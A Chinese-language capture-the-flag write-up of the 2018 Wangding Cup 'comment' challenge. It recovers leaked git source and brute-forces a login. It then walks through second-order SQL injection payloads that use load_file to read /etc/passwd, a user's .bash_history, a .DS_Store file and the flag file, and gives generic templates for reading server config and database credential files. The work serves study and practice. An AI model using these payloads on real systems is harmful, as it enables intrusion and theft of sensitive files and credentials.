网鼎杯2018comment刷题笔记
这道题目叫comment,评论的意思,应该是一个评论功能的网站
打开一看开局一个留言板,试一下发帖,随便填点
,提交,会跳转到一个登录界面
测一下sql,没啥进展,那就扫一下目录
.git泄露,还有存在mysql.php,用git泄露利用工具,把文件拿下来
这是个残缺的文件,找一下历史漏洞具体语句
git log --reflog
然后恢复到想要的版本
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
hard 后面跟随的是之前版本的文件记录,也叫版本回滚
不过新版的githacker它dump下来的文件里没有.git文件,我好崩溃,只能去网上找了,下面是完整源代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
通过代码审计分析发现需要使_$session[login]
为yes,才能跳过绕过登录界面,_$session伪造需要知道密匙,这里没有给出密匙,而在登录界面好像有密码提示
后面的***,尝试一下burp抓包爆破,***为666,成功登录进去,继续代码审计,代码通过get传参判断判断是发帖还是评论,然后通过post传递写入的东西,代码包含了mysql.php,,通过sql语句插入数据库,和查询数据库这里传入的post参数都通过一个php函数addslashes来进行过滤
addslashes
是一个 PHP 函数,用于在特定字符前添加反斜杠,以防止这些字符被当作 SQL 查询中的特殊字符。通常,这个函数用于准备将数据插入数据库,以防止 SQL 注入攻击。
addslshes
一般是不存在sql注入漏洞的,但存在一个特例,就是当数据库的编码为GBK时,可以使用宽字节注入,
后面又试了一下,发现不行,应该这个mysql数据库用的不是GBK编码,用的可能是utf-8编码,所以不能使用宽字节注入绕过,继续观察源代码,发信当do=comment时,category是直接从数据库拿出来的,没有进行转义,所以可能存在二次注入,数据库在存储时会将转义用的反斜杠去掉
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被再次读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序再次调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入和普通的sql注入区别就是,二次注入是把恶意代码放入数据库中,执行后通过select等语句把结果回显,一般存在于insert语句中
据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入和普通的sql注入区别就是,二次注入是把恶意代码放入数据库中,执行后通过select等语句把结果回显,一般存在于insert语句中
这里的思路就是通过comment时将catergery取出构造payload要将sql语句后面原来的去掉
payload:0',content=database(),/*
2.在提交留言处输入*/#
(这个sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接)
这样 sql语句 拼接 并 闭合 情况如下:
insert into comment
set category = '0',content=database(),/*,
content = '*/#',
bo_id = '$bo_id'
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
后面我看到网上的wp说,通过数据库权限可以判断flag是否在数据库里如果是root权限,那一般都不在数据库里
这里就是root权限
看了师傅们的WriteUp,发现这里是用sql来读取文件。模板:select load_file(‘文件绝对路径’)。
load_file(‘文件绝对路径’)读取文件并返回文件内容为字符串。使用此函数,该文件必须位于服务器主机上,必须指定完整路径的文件,必须有FILE权限。
一般用法步骤:
读/etc/init.d下的东西,这里有配置文件路径
?id=1’ union select 1,2,load_file(‘/etc/init.d/httpd’)
得到web安装路径
?id=1’ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf’)
读取密码文件
?id=1’ union select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)
一:首先读取/etc/passwd,这个文件存放了系统用户和用户的路径
payload:a',content=(select (load_file('/etc/passwd'))),/*
读取成功,可以知道www用户(一般和网站操作相关的用户,由中间件创建)的目录是/home/www,可以查询这下面的.bash_history
每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。
二:payload:a',content=(select (load_file('/home/www/.bash_history'))),/*
得到历史记录里之前所执行的命令
可以看到html.zip里面有一个.DS_Store文件,复制到/var/www/html目录下后被删除了,但是在/tmp/下只是删除了压缩包,但是因为有解压的过程,所以解压后生成的文件夹html里还存在.DS_Store文件,读取这个文件。
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
三:
这儿由于文件太大,不能完全显示,所以我们用十六进制编码,
payload:a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
然后去解码
四:读取解码出来的这个可能含flag的文件flag_8946e1ff1ee3e40f.php
payload:a',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
这里也是用了16进制编码,去解码一下,其实这里也不用编码了,不编码的话f12也是可以看到文件的
而上面的.DS_Store
因为太大,是需要编码才能完全看见的
ok,非常的艰难,解毕
总结:这里新学到了sql的二次注入还有,sql注入读取文件的方式,通过模板:select load_file(‘文件绝对路径’)。就可以读取,还学到了linux的一些知识,如何通过sql注入文件读取去查询linux系统里的一些敏感信息